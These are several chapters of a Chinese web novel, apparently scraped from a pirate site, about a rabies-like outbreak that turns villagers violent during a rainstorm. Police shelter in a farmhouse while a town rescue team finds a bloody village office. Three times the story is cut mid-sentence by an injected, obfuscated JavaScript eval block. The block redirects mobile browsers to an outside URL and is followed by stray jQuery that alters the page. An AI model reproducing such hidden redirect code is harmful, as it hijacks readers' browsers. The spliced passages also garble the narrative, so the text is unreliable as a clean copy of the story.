这半夜的雨下的大,电闪雷鸣的让人害怕,村公所周围的农户们虽然都关灯歇下了,但大家都没有睡熟。
离着村公所近的小楼房,一名十岁的小女孩从睡梦中惊醒。
她在雨声和雷声中,似乎听到许多人在嘶吼惨叫,某种高频的声音刺得她脑仁疼。
这让她十分害怕,忍不住去摇身边的妈妈桂芳。
莫名心烦的桂芳本就没有睡熟,女儿摇她,她就顺势坐起来,“玲玲,咋子了?”
倩玲蹑手蹑脚地下床,她没开灯,轻轻掀开窗帘缝隙,往村公所的方向看。
桂芳心中好奇,女儿的听力一向灵敏,她相信女儿肯定听到什么了,便穿上塑料拖鞋,跟着过去看。
大雨中,隔着水泥路的村公所看不清晰,也听不到什么。
倩玲的脸色有些发白,她把窗户推开了一些些。
这下,桂芳也听到了隐约的哀嚎嘶吼声。
二楼,躲在窗帘后的母女俩,目光穿过雨幕。
对面的村公所似乎有人在打斗,追逐,奔跑。
一个看起来像护士的跑的最快,跟着她跑的青年却又转头绕了回去!
村公所院坝里打群架的警察们不再奋力抵抗,也开始奔跑!
村公所房间里跑出来好几个人,有个医生捂着耳朵飞奔!
紧接着,村公所外面的车动了,一辆救护车飞快地倒车,车轮胎扭矩转满,医生跑了出来,拉开后面的车门跳了上去,同时车辆加速,嗖地射出,火烧屁股似的消失在茫茫雨夜中。
那几个警察也往警车跑,可他们身后追出来一大群疯子,抓着最后一个腿上受伤跑不快的人撕咬。
后面跑出来的五个人见状,从村公所旁边的围墙翻了出去,沿着农田往反方向跑!
前面几个警察,有开门上车的,有拿防暴棍打人的,有用盾牌隔开攻击者的,场面极为血腥混乱!
等这些警察们好不容易上车,车却被围住了。
围着车的村民就跟疯了一样,不停地拍打,甚至用头去撞击。
警车不敢撞村民,只能孤零零地停在那里,承受村民们的攻击。
桂芳:“天姥爷……这是咋子了……”
又不是抓到外地来的人贩子……乡里乡亲的自己人,咋打得这么狠?!
这暴雨天,镇上村里也是为了大家的安全,才让那些在地灾观察点的群众离开家,到这村公所来住。以往顶多就是有人比较犟,不愿意来,可没有出过这样的暴力事件啊!
桂芳左右看,附近的农户陆续亮起了灯,应该也是有人被吵醒了。
不知道会不会有人出来劝架,桂芳心里慌得很,因为自己家就在村公所斜对面,最近的一家!
鬼知道会不会被波及……
桂芳的男人在外务工,家里只有两个老人和一个女儿,她心里急,但不敢去劝架,更不敢家里人卷入什么纷争。
“玲玲,你待在房间里,我去楼下把爷爷奶奶接上来。”桂芳把窗户关上,窗帘拉拢。
农村里的老人一般不住二楼,毕竟年纪大了,腿脚不方便,万一摔着绊着就麻烦了。
可今晚这情况,桂芳觉得,还是把老人一起喊上楼,她们家二楼还有一道门可以锁。
桂芳是个典型当家做主的农村妇女,家里家外一把抓,说干什么马上就干。她马上拿了件外套披上,转身下楼。
两位老人一喊就醒,听当家儿媳说外面村民跟警察在打群架,要让他们上楼去睡,马上就起床了。
老头子拄着拐杖,老婆子搀扶着他,两人一起颤巍巍地准备上楼。
可这夜里,老人家看不清东西,老婆婆顺手开了电灯。
这两人走的慢,桂芳把他们俩送上去,心里还是不踏实,又准备去看下紧挨着公路的堂屋大门锁紧没有。
她刚好走到大门口,便听到嘭的一声!
有什么东西撞到了门上!
然后,剧烈的敲击声和求救声响起:
“桂芳大姐!开门!开开门!救命啊!这些人疯了!”
桂芳听出来那说话人的声音,是派出所的辅警王淞,曾经开车帮她载过猪饲料,还给她处理过刷单被诈骗的事情,是个二十岁出头的年轻小弟娃。
她透过门缝一看,果然是王淞,他浑身湿透,身边的警察们用防暴盾牌挡着外面的推嚷,那防暴盾牌挡住了村民们的身影,她看不清楚,只能听着那些发出杀猪般的嚎叫。
疯了,都疯了!这些村民怎么就疯了!他们这是要杀了这些警察小伙子吗?多大的仇啊?疯了!
桂芳浑身发抖,可王淞是个好小伙子,她不能眼看着他被打死在家门口啊!
横下一条心,桂芳开了锁!
王淞立即挤进来,他浑身是水,神色惊惶,但手脚不乱,转身立即抵住那双开的木门一侧,“快进!快进!大姐!抵住门!”
桂芳常年种地,膀阔腰圆,她条件反射地听了命令,用力抵住另外半边门。
王淞和桂芳合力之下,那门只留下一道可以侧身挤进来的缝隙,剩下的几个警察们虽然惊慌忙乱,但好歹共事多年,危急时刻爆发出的默契让他们顺利地一个个挤了进来。
所有挤进来的人第一时间都去帮助抵门,副所长脚上有伤站不稳,进来之后摔倒在地,桂芳赶紧去扶。
最后挤进来的警察是倒退着进的,防爆盾挡在他身前,桂芳终于在一个闪电中,看清楚了外面的人。
那已经不算是人了,他们皮肤青白,双眼通红,嘴角有血,扭曲地嚎叫着,伸出来的双手指甲发紫,宛如厉鬼。
他们疯狂地往门这边涌动,推攘,仿佛发疯的野狗,要撕咬血肉。
剩下四个警察咬着牙,脚在地上蹬出水痕,在最后一个警察丢开防爆盾推进来后,大家闷哼着一起爆发,将那门关上。
然而,砰砰的敲打和撞击并未停止,那并不算厚重的木门,被震得不断颤动。
“上楼,楼上有防盗门,快,上楼!”
桂芳吓得声音发抖,招呼大家快上去。
警察们也不犹豫,他们架起地上的副所长,跟着桂芳往楼上去。
*
暴雨夜,两辆越野车再度驶往踏水村。
李清峰已经退役回乡镇工作三年多了,今夜愣是找回当年执行任务时的熟悉心跳。
高高瘦瘦的他开着第一辆车,旁边坐着老毛。老毛方脸宽颌,厚肩壮腿,穿着一身迷彩服,神色凝重。
干,熟悉感更强烈了!
本来魏诗书要坐头车的,被老毛给赶去了第二辆。
老毛说魏诗书又近视又散光的,坐头车纯属浪费侦察机会。
魏诗书总觉得老毛针对他。
县机关的文官和村干部出身的武将本来就有壁,这两人从班子会见面第一眼就相互不对付,平时没少你来我往地相互阴阳。
但这种时候,魏诗书决定不跟老毛计较,第一波出去的镇干部们生死不明,他可不是那种不顾全大局的人。
所以魏诗书把头一扭,去了第二辆车。
老毛一上车,就把第二波出发的人单独拉了一个微信群,取名:【不被咬】
魏诗书默默捏紧手机,十分想痛斥老毛不正经不严肃,这种危机时刻搞什么乱七八糟的,好好取一个行动群不行吗?
但想了想,算了,他不是不顾全大局的人,也确实不想被咬,忍了。
一路上,老毛都在群里发消息,一边发一边跟李清峰吐槽:
“让我一个人带队就行嘛,搞个书呆子上来凑数,指不定会拖后腿!待会儿可别让他下车!”
李清峰尴尬地笑,没接话,他是武装部干事,怎么能跟前领导吐槽自己现领导呢,哈哈。
是的,老毛退居二线前,是钟宝镇之前的武装部部长兼副镇长,魏诗书是来接替他的位置的.但老毛总觉得上级派这种他一锭子就能锤翻过去的文臣来接,他内心有点,嗯,不认同。
微信群内:
每天五公里(老毛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122956|195982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
):【咱们这次的任务有两个:一是接应救出我们自己的同志;二是探查情况。(玫瑰)对吧,魏部长?】
诗书气自华(魏诗书):【对】
每天五公里(老毛):【已经发病的狂犬病人,救不了的。据现在得到的情况,被咬了有可能半小时左右也会发病,这是很烈性的传染病了,我觉得,大家可以先按照咱省的公共卫生应急预案最高的等级来考量。对吧,魏部长?】
诗书气自华(魏诗书):【这个要看上级怎么定性,不能乱猜。】
每天五公里(老毛):【(握拳)总之,我们不要跟狂犬病人缠斗,先保护自己,再救人。对吧,魏部长?】
诗书气自华(魏诗书):【……对,大家一定要注意安全。】
群里其他人都没有吭声,默默地看。
能退伍回地方乡镇工作的,大多是服役满12年的老兵,或者服役期间拿过战功的。
现在这种情况,他们不约而同地选择静默。
队伍里唯一的女同志舒铭坐在第二辆车,她负责联系邓镇长,奈何电话一直无法接通。
舒铭大专毕业当了两年“三支一扶”中的支农,后来便参加了县里针对基层服务人员的专项招考,留在钟宝镇当了事业编人员。
她这次跟上来,一来是平时她积极参与各类民兵训练,热爱健身,身体素质好,二来她主动请缨,她是踏水村长大的,对地形熟悉,万一垮塌后公路不通,她还能带大家走小路。
大雨和时不时响起的雷电,让人很难顾及四周环境。
急转弯的时候伴随一道闪电,李清峰在这一瞬间减缓车速尽量靠右,他也不知道自己为什么这样做,纯属遵循了第六感。
果不其然,对面冲来了一辆救护车,车开在路中央——毕竟山路的另一边都是高坡峭壁。
李清峰开车闪避得快,后面那辆车也是当年部队里的司机,两辆车同时往旁边一让。
一辆白色的急救车呼地冲了过去,开得贼快。
李清峰心中有些发毛,他总觉得应该去拦住那辆急救车。
可时间紧,他们最重要的任务是去解救……或者说,是去确认,第一批到达踏水村的同事们是什么情况。
很快,李清峰开着车进入了一个平缓地带,村公所就在八百米处。
车辆先停了下来,工作人员下车放出无人机。
无人机晃晃悠悠,艰难在大雨中飞起来,被时不时的狂风干扰,有点不太稳。
大家都在心中暗自给无人机鼓劲加油!
可惜,一个闪电。
完美无比,击中无人机。
众人:……
什么屋漏偏逢连夜雨头疼更遇打头风!
无人机尸骸落地,就像大家的安全感一样,摔烂。
魏诗书很无语,发话:“开车过去查看吧。”
“开慢点,村道路窄,一盘子是甩不转的,随时注意看哪家地坝可以掉头。”
老毛叮嘱大家。他眯着眼观察前方,这村公所两旁的民房,有一大半都亮起了灯。
大雨遮盖了声音,他听不到什么人声。
车辆慢慢地开到了村公所外面。
村公所围墙的大门敞开着,大门处斜停着一辆警车,院坝挺着几辆车,老毛眯着眼看过去,镇政府司机老杜自家的丰田普拉多停在院子正中央。
夜间暴雨,能见度低,强风猛,视觉听觉都受到阻碍。
老毛拧紧眉头,还在思考,尾车的魏诗书已经下了车,他撑起大伞,快步向村公所走去。
老毛无声地骂了一句,握紧手里的防暴叉,跟着下车。
李清峰见状,也跟了下去。
老毛回头,制止所有人都下车,“每辆车留一个人当备用司机,把车辆掉头摆好,坐在驾驶位上,不要熄火!随时做好开走的准备。”
李清峰已经下车了,最后一个没下车的男同志只好缩了回去,从后排爬到前排,坐上驾驶位。
尾车,舒铭也是坐在后排中间的,没来得及下车,她跟头车的男同志一样默契,外边雨太大,她也从后排中间爬到了前排的驾驶位。
爬过去后,舒铭低头一看,手机微信最新发出的消息后面,有个红色的半圈符号。
网不稳?还是网络断了?!
再看信号栏,那高低柱状信号图,变成了X。
5. 红色预警暴雨夜5
服役十二年后能回到地方政府分配工作的退役军人,军事综合素养肯定是过关的。
李清峰刚从武警退役回来以后还保持着适当的锻炼,一身的本领不算荒废;刘沉昔则是个核潜艇兵退役,比不得李清峰这种肉身成胜,他这个兵种主要是技术能力好、抗压能力强;杨佳木却是个汽车兵,二车就是他在开,驾驶技术没的说;唐路平和周诚则是传统的老陆退伍,平平无奇的耐力王。
以上五个人都在三十多岁,放乡镇政府里,那简直是跑外勤的顶梁柱,体能和态度都好——就是除了刘沉昔还能做做表格,其他人一听写材料就发憷。
他们五人下来后,微手势交流,便很默契地站成了战斗阵型,交叉行进。
老毛追上了魏诗书,拉着他,在嘴里比了一个嘘的姿势,示意他不要单独行动,要轻脚细爪。
魏诗书有点不开心,他很担心第一批同志们的安全,搞不懂老毛又在干什么。
但……总之,他是个顾全大局的有素质的人,他不跟老毛计较。
魏诗书放慢脚步,他走近那辆斜停在大门外的警车。
虽然派出所的警车跟他岁数差不多大,老桑塔纳身上的每一道坑都是岁月的痕迹,但,似乎也没有凹成这样?
不对,这警车明显是被打砸过。
魏诗书瞪大眼,打,打砸警车?暴,暴动?
他忍不住把脑袋里近一年的所有工作都过了一遍,不对啊,没有什么引发民怨的事情啊,脱贫户一直都在走访,哪家有什么突发困难镇上跑得飞快,防返贫监测搞得十分扎实,也没什么大项目征地,村里的上访户大都是文明上访的!
陈云皓发在群里的视频他也看了,对于狂犬病变异是不是能引发这样阵仗,魏诗书是持怀疑态度的。
他更倾向于是不是有什么外来人把什么新型毒品当成食品送给村公所,村干部发给村民吃了,自己也吃了,才有这样的离谱事件。
老毛不知道魏诗书瞪着那警车干嘛,他看了眼被打烂的车窗,确定警车里没有人,便伸头往车另一边看。
车后面,什么也没有。
老毛心里想了很多。
半道上,他们看到救护车跑回去了;这里的警车,却被丢弃。
派出所的民警们呢?是在救护车里面吗?
这里的发病群众呢?黑天大雨夜的,他们发着疯能往哪里跑?
老毛心中直打鼓,他一边盘算着,一边从警车旁绕过,李清峰等人立即跟上。
魏诗书扶了扶眼镜,视线太受阻了他干脆取下眼镜。
虽然视力不太好,但总比戴着淌水的眼镜好。
他心中也思考了很多,这里怎么没人了?患病群众呢?警察呢?镇干部呢?
见老毛往里面走,他按捺下心中疑惑,快步跟进去。
老毛的靴子踏起水花,他走上了村公所的台阶,走进了原本作为村民们安置休息的会议室。
场面触目惊心。
满地狼藉,东倒西歪的简易钢架床,乱七八糟的床单被褥,以及,血,肉,残肢。
老毛心中发凉,李清峰等人更是肾上腺素飙升。
残肢,人被撕裂的手臂,还要折断的脚掌,血淋淋地散落在地上,仿佛这里有过什么野兽吞吃活人。
众人被眼前的场景震惊得无法言语,曾经出国参加过□□的李清峰已经在思考邪教分子暴恐袭击的可能性。
视力不太好的魏诗书走进来,他见大家盯着地上的东西发呆,便弯腰捡起来,凑在眼前。
“你们在看什么……卧槽!!!”
血淋淋的人手,被魏诗书扔了出去,砸在窗户上,咚地一声。
李清峰被刺激得端起手里的防暴叉当枪用,对着那断肢,仿佛可以瞄准。
“我们,不要分散,先检查下其他房间还有没有人。”
老毛咽了口唾沫,他不敢想这些村民去哪里了,要是真的咬人就感染,这周围的群众还好吗……
魏诗书不吭声,他反复地在身侧擦手,听了老毛的安排。
大家戒备着走出来,从左到右,依次查看房间。
最左边是便民服务站,里面依旧狼藉一片,许多报表和资料堆叠在格子间里,陶瓷水杯摔烂在地上,墙上血迹斑斑。
第二个房间是村委办公室,办公室乱成一团,黑色长沙发上全是抓痕,地上残留着一些血肉,还有两把丢掉的防暴叉,上面贴着镇政府的标签。
略过中间的大会议室,旁边是关着门的农家书屋。
李清峰上前敲门,“有人吗?”
门内有轻微的窸窸窣窣声。
李清峰回头跟大家比了个手势,里面有情况。
刘沉昔几个分散站在门两侧,握紧手里的防暴叉,老毛拉着魏诗书往旁边站。
“我们是镇政府的,你在里面吗?应一声呢?还能说话吗?”
李清峰轻轻敲了下门,他很谨慎,事先确定对方是否神志清醒。
又是一阵窸窸窣窣,然后有个女孩子抖抖索索地在门里面回答,“我,我,我是章,章雪……外,外面,疯了……”
“章雪,别怕,快开门!”魏诗书忍不住一步踏上来。
“现在外面没人了,只有我们几个镇干部,你快开门,跟我们讲讲情况!”老毛也急,他一边说还在四处张望。
某种步步紧逼的危机让他汗毛倒竖,直觉在叫嚣,赶紧撤离!赶紧撤离!再不撤就来不及了!
听到老毛熟悉的声音,门内的女网格员哇地哭了起来,她手抖得厉害,她手滑了好几次,才把门打开。
女网格员章雪身上的红马甲沾了许多血,不知道是她的,还是别人的。
老毛想到周书记说的,被咬伤后预计发作的时间是半个小时,章雪从刚开始打电话,到现在已经过去一个小时多了,还能好好的,应该是没有被传染。
他不再犹豫,拉着章雪,“走,我们先去车上。”
魏诗书点头,他也觉得这里没什么看头了,屠杀现场慎人得很。
章雪脚下发软,根本走不动路,周诚赶紧蹲下来,让章雪趴到他身上,他来背。
“一开始,刘二刚咬人,好多人受伤……然后,然后受伤的人也开始咬人……书记打电话,我打电话……我们等……都疯了……书记把我关进书屋……我手机没带进去……”
章雪的眼泪混着雨水,她害怕,惊恐,内心又酸又痛,忍不住地要说。
“我害怕……有车的声音来……我不敢出来……又闹起来了,好害怕……”
老毛安抚章雪,“没事,不怕,我们回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122957|195982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
镇政府去!等天亮了,县里就来人了!我出来的时候,听说县里已经在安排特警和武警,还有医疗卫生系统,没事的,就是狂犬病变异了而已,不怕。”
他们一行人快步小跑,走出村公所,往已经掉好头停在路边的车辆跑去。
正在此时,一辆应急越野车从村道另一头疾驰而来,司机似乎是看到了这边有人有车,还打了两声巨大喇叭以示招呼!
老毛&李清峰:“……”
不好的预感!
魏诗书听到喇叭声,他把眼镜带上一看,是邓镇长的车!
他伸出手挥舞,示意司机过来,并出于本能地,往对方车辆处跑了几步。
邓镇长是从另一个村绕路过来的,中途遇到了两段山路垮塌,万幸的是没有把他们的车给埋住!
这雷暴大雨天气,山路里的信号时断时续,到后来直接没了信号。
邓镇长现在对信息的了解,还停留在最初的,镇值班室接到踏水村报告有狂犬病人咬人的时候。
陈云皓那段恐怖小视频,因为网络信号原因,邓镇长车上的人都还没看到。
所以,司机老李很没有戒心地,重摁了两下喇叭。
这两声喇叭按响的时候,正好天上没有雷声。
刺耳的喇叭声,回荡在村道上。
昏黑的雨夜,好些人影僵硬地走出了民房,向发出刺耳喇叭声的车辆靠近。
魏诗书往邓镇长的方向跑,纯属在县委办训练出来的条件反射,要往领导那边迎一迎。
他此刻跑到的位置,刚好是村公所对面的一栋两层楼房屋;房屋底楼的木门是破烂的,一个穿着警服的人蹒跚着走出,一只脚有些跛。
“邱副所?”魏诗书扭头一看是熟人,脑袋一时间没反应过来,就那么停顿了一下。
前边,司机老李踩了下刹车,让车辆减速。
年轻的,只有三十多岁的邓镇长摇下车窗,对路边的人影喊道:
“老乡,雨大,别出来了,赶紧回家去,关门关窗啊!”
章雪已经被放进车里,她被喇叭声吓得一抖,眼珠子猛颤,口里啊啊地说不出话来。
周诚赶紧给章雪拍背,“不急,慢慢说。”
那边邓镇长的话都说完了,这边章雪才哇地呕出一口胃液,颤抖且急促地说:
“声音,声音太大……疯了的,声音,光,刺激……咬人……”
老毛心中一个激灵,他还站在车旁没有上来,立即大声喊到,“邓镇!关车窗!快走!”
然而,已经来不及了!
那些摇摇晃晃走近的人影,猛地一撑展身体,口里发出嚎叫,加速往邓镇长的车辆冲去。
那一声嚎叫,宛如呼唤狼群的声波,沿着村公所两侧的民房里,传来同样刺耳的咆哮和嚎叫。
没有惨叫,只有嚎叫。
老毛心中一片拔凉,他已经猜想到了最坏的结果。
邓镇长不知所以,但他感觉冲来的人情况不对,当即关闭车窗。
一只□□苍白指甲发紫的手卡在了车窗上,后座的工作人员被吓得大叫。
十几个村民围住了邓镇长的车,开始拍打,撞击!
同一时间,穿警服的中年男人也张开嘴,他双目赤红,脸上青筋暴起,嚎叫着冲了上来!
6. 红色暴雨预警夜6
很久以后,有人会问桂芳,当时那个情况,你怎么敢让这几个警察进来?!这可是一不小心,就全家感染没命的情况啊。
这时候,桂芳会坚定地告诉对方:
哪怕事情重来一遍,她还是会打开门的。
因为……
*
当桂芳带着五个民警往楼上去,脚步踏在水泥地面上,奔跑出声响。
外面的撞击声越来越猛,仿佛随时可以撞破那扇门。
王淞也不知道自己为什么,可能是大脑自动从看过的电影游戏中提取了什么信息,也可能是第六感发出的直觉,他走在后面,冲桂芳喊:“关灯,灯在哪?!”
桂芳被吓得说不清楚话,转身下来,往之前老两口住的屋子冲去。
闪电中,数十名面目狰狞的人趴在窗口!
哗啦!
窗户被撞破!
几个人挤在窗前,完全不顾那卡在窗棂边缘的破碎玻璃会割伤身体,就那么嘶吼着往里面爬。
可最近的灯的开关,在窗户边上!要么就得到床边上去……桂芳一时间不知道怎么办。
好在王淞年轻力壮反应快,他从单警腰带上嗖地掏出伸缩式警棍,唰地甩出,一手拉着桂芳往后退,一棍子杵在开关上,然后单脚一勾,嘭地关上房门!
“快上楼!”
王淞扯着桂芳往楼上跑。
这两人连扑带爬地上楼,立马关上厚实的防盗门。
关上门,楼下的拍门声便小了一些,好似没有那么危险了一样。
“关灯!那些丧尸一样的玩意儿有趋光性!”王淞一口气差点没提上来,心跳快得要爆炸。
屋子的木头长椅上,三个民警才堪堪把副所长放下去,听王淞这么一咋呼,条件反射把副所长一扔,全跑去关灯。
副所长的脚一下子落在地上,发出极为痛苦的呻吟声。
灯光熄灭,大家不约而同地保持了片刻安静。
楼下的呼啸声,似乎真的更小了一些。
桂芳浑身发冷,手脚发抖,她被惊吓得厉害:“他们是咋个了?鬼上身了吗?丧尸是啥子?诈尸?僵尸?!你们不是说要讲科学的吗……”
她下意识地去倒热水喝,然而水壶对不准杯口,撒了一茶几。
玲玲怯生生地站在门口,背后站着探头探脑的爷爷奶奶。
王淞赶紧去帮桂芳倒热水,顺便也给同事们一人倒了一杯,顺嘴回答桂芳:
“应该是狂犬病,狂犬病你晓得的吧?就是那种咬人的疯狗得的,见人就咬,被咬的人也传染。”
人最害怕的是未知事物,未知意味着不晓得该如何战胜。
一旦知道了面对的是什么,大部分人就会冷静下来,只有不被恐慌裹挟,能冷静思考,才可以找到解决的办法。
桂芳虽然是个农村妇女,只有初中学历,但狂犬病这种事情,农村里的人总归是熟悉的,毕竟每年春秋防疫,畜牧站工作人员、上门免费给猫猫狗狗打疫苗的村医、挨家挨户走访的村干部和小网格员,都会宣传。
桂芳自己都是个小网格员,所以她放松了许多。
“……狂犬病发疯成这样啊?挺吓人的,哎?被咬到了岂不是要传染?那你们……”
桂芳的话提醒到了副所长。
副所长黢黑的脸此刻分外苍白,他低头看自己的脚。
他出发前让所有人穿了防刺服,带了全套装备和防暴盾牌。
他们这一身为了应对狂犬病患者的装备起了极大作用,让他们在被围攻的时候没有受到大的伤害。
但,除了副所长本人。
他很倒霉,被人抓着腿摔倒,那一群人扑上来撕咬,混乱挣扎中鞋袜被扯掉,有人在他的右脚上撕扯了好几口,一根脚趾头被咬断掉。
但是大家往车那边跑,急着想要上车的时候,不得不丢掉了一些盾牌,不然后排坐不下。
这个过程中,又产生了打斗和抓扯。
“大家相互检查下,有没有受伤。”
副所长长叹一口气,警察嘛,受伤总是在所难免的。
只是这次的情况,着实有点危险,比什么吸毒艾滋病人士咬了一口还危险。
大雨已经冲刷干净了他们身上的血,警察们赶紧相互检查。
一番查看下来,只有最年轻的辅警王淞是毫发无损的;因为年纪最小,才二十岁出头,其他人都在无意识地保护他。
其他三个民警,身上是没有伤的,盾牌挡住正面的攻击,抓伤主要集中在脸颊和耳后侧,深浅不一,深一些的浸出血,浅一些的发红发肿。
副所长一口气喝了好几杯水,王淞来来回回倒了几次,干脆把水壶提过来,眼巴巴地问,“咋办?邱哥,你待会儿会不会失去理智,咬我们啊?”
这话问的太直接,以至于副所长无法回答。
另外三个同事面面相觑,他们也会被传染吗?
“……报告……情况……请回答……请回答……”
副所长肩膀上的对讲机发出呲呲啦啦的声响。
副所长深吸一口气,按下回复键:“报告指挥中心,我们到达现场,受到约五十名左右患病群众围攻,他们神志不清,具有强攻击性……我们和镇干部失散,现停留在村公所侧对面,黄色瓷砖外墙建筑的二楼客厅,患病群众聚集在楼下……我被咬伤,其余同志轻伤,有感染风险,请求速度支援……”
大晚上的电闪雷鸣狂风暴雨,他们可没办法翻山越岭的步行回去。此刻待在屋子里,才是最明智的。
信号不好,副所长重复了几遍,才和指挥中心确认了相关信息。
那边也很紧张,对话的人都换了,副所长听到县公安局局长的声音:
“……留守原地,观察情况,随时保持沟通!救援队已经出发,医疗小组带着疫苗,你们坚持住,我们很快到达!”
希望的火苗点燃,大家都不约而同地松了一口气。
屋子里的老婆婆走了出来,她的背脊有些佝偻,人也十分清瘦,说话也有些含糊,但大家能听清:
“狂犬病啊,那被咬的,受伤的,赶紧用肥皂清洗伤口嘛……快点处理,之后打疫苗就好啦……听我的嘞,我以前可是村里头嘞赤脚医生,老师教过嘞……”
桂芳如梦初醒,“对哈,快快快,赶紧处理下,哎我记得村民小组群里,春天的时候发过狂犬病防治的资料,等下,我马上看看……哎,可惜刚刚救护车跑了……你们先按狂犬病的情况处理,快点!等会儿县里的人来了,你们就安全了。”
这话说的大家更是希望值上升,王淞赶紧去帮忙,他们几个把副所长扶进浴室里。
桂芳的手机资料里讲,狂犬病有潜伏期,短则数天,长则数年。
被病犬咬伤或者狂犬病人抓伤,伤口要用肥皂水冲洗十五分钟以上,可以冲掉大部分病毒,再用酒精或者碘伏消毒,然后在24小时内接种疫苗,视情况注射狂犬病免疫蛋白,再观察一段时间,基本能保平安。
于是这几个民警拿着肥皂使劲揉搓着被抓伤的地方,再用酒精狠狠地喷。
王淞拿着热水器花洒给副所长冲脚,他这才发现副所长不仅脚趾头被咬掉了一个,小腿也被咬了好几口,整条腿都红肿发紫。
“先消毒,再简单包扎下吧。”
副所长觉得自己浑身发冷,头也有点晕,不知道是失血还是发烧了,“我有点冷。”
身上的衣服还是湿的,副所长觉得十分难受,感觉骨头缝都在发凉。
王淞摸着副所长的脚,他圆溜溜的眼睛满是震惊,“你发烧了,摸着好烫。”
发烧了啊,副所长喘了口气,怪不得头晕……发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122958|195982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烧了?!
他一个激灵,脑子自动强迫清醒,“……我口好渴,想喝水……”
“等等,我们冲洗到位了再过去喝。”
王淞赶紧用肥皂搓洗副所长的伤口,看着时间超过十五分钟,再用酒精消毒。
副所长心中仿佛有一座大山,正在缓缓沉入黑暗的沼泽。
他摸出手机打开,颤巍巍地点开微信,打开了老婆的聊天对话框。
最上面是老婆回复的消息,已经是半小时前。
【注意安全,后天二妹生日,记得回来吃晚饭,做你最喜欢吃的芋儿烧鸡】
微信聊天背景,是一家四口的温馨合照,妻子爽朗的笑容,孩子们活泼可爱的姿态。
副所长沉默地打了很长一段字,点击发送,未成功。
信号断了。
桂芳从自家衣柜里翻出来几套男人的衣服,招呼民警们,“你们的衣服都湿透了,来换上吧!”
这十来分钟,她安顿好了老人,翻出了药箱,听说副所长发烧了,她翻出来好大一盒布洛芬,还有一些阿奇霉素头孢阿莫西林地塞米松利巴韦林等乱七八糟的药品。
王淞背着副所长从浴室回到客厅,见桂芳拿出来的衣服,赶紧想给副所长更换。副所长发烧,穿着湿衣服可不好。
副所长被放在木头长椅上,他有些僵硬地摇头,“最好不换,我们这是防刺服,装备还得戴好,万一……布洛芬,我先吃点……”
桂芳赶紧把水和药递给副所长。
副所长手有些僵硬,端水送到了下巴上。
旁边一个民警上来帮忙,把药塞进副所长嘴里。
副所长莫名的,很想,很想咬下去。
“妈妈,他们,外面,三叔家,姑婆家……”
玲玲突然哇地一声哭起来,“杀人了——”
几名民警心中一沉,大家不约而同冲向窗边,往外面一看!
隐约的呼救和惨叫传来,刚刚围聚在桂芳家楼下的人群,这十来分钟的时间,竟是四散到了公路两侧的人家户里。
亮灯的人家户外,聚集起的人群,他们似乎很痛苦,在雷雨中不停地嚎叫,有的进入了院子,有的直接拍打路边的窗户和大门。
那些被吵醒的人家陆续亮起灯。
听到敲门声,一些没有戒心的或是热心的人家打开了门。
他们以为是村公所里出了什么事,有同村的人来求助,所以毫无防备地准备提供帮助……
警察们根本来不及阻止,他们冲洗伤口的十五分钟,惨剧已经发生。
“……”王淞隐约看着有几个人围着一个人啃食,撕开了对方的胸腹,血液喷射而出。
桂芳捂着女儿的眼睛退回来,恐惧再度翻起,“他们吃…吃…”
他们吃人!他们——竟然吃人!
王淞掏出手机快速地点击,踏水村,踏水村村民群!
“村民小组群,发消息!快发消息!让大家不要开门!!”
“发过了,没网络,发不出去。”副所长垂着头,低声回答。
他感觉自己越来越冷,口渴难耐,甚至有了强烈的饥饿感。
想吃点什么……屋子里的人身上,怎么有股有奇异的温暖香味……
他咕咚一声咽下口里的药和水,绝望地想,完了,我肯定被传染了。
就像黄书记一样。
黄书记用了多久变成这样的呢?
副所长努力调动自己混沌的大脑,哦,想起来了,给镇政府打电话的时候,黄书记应该刚被咬。
然后半个小时左右,他们来村公所,黄书记走出来的姿态很奇怪,但并没有第一时间咬他们。
那时候,黄书记似乎还残存一丝意识。
我应该还有一点点时间,副所长这般想到,我还可以做点什么,还来得及。
7. 红色暴雨预警夜7
“王淞,你确定你身上没带一点伤?”
副所长努力让自己的声音足够平静。
王淞快步走回来,年轻小伙子火气旺,他头发都快干了,整个人精神了许多,点头道,“是的。”
“你们呢?”副所长看向其他三位警察,一正两辅,都是他日夜相处的兄弟,虽然大家一起上班出警,下班打牌,平时里关系不错。
三位民警看到了外面的惨剧,个个心神不宁,纷纷回答。
“脖子上一道抓伤,出了点血,不多。”
“脸上一道,破皮没出血。”
“两边耳朵被抓,肿了,没破皮。”
副所长点头,他把对讲机、手枪、单警腰带、防刺背心等装备取下来,递给王淞,以及他的手机。
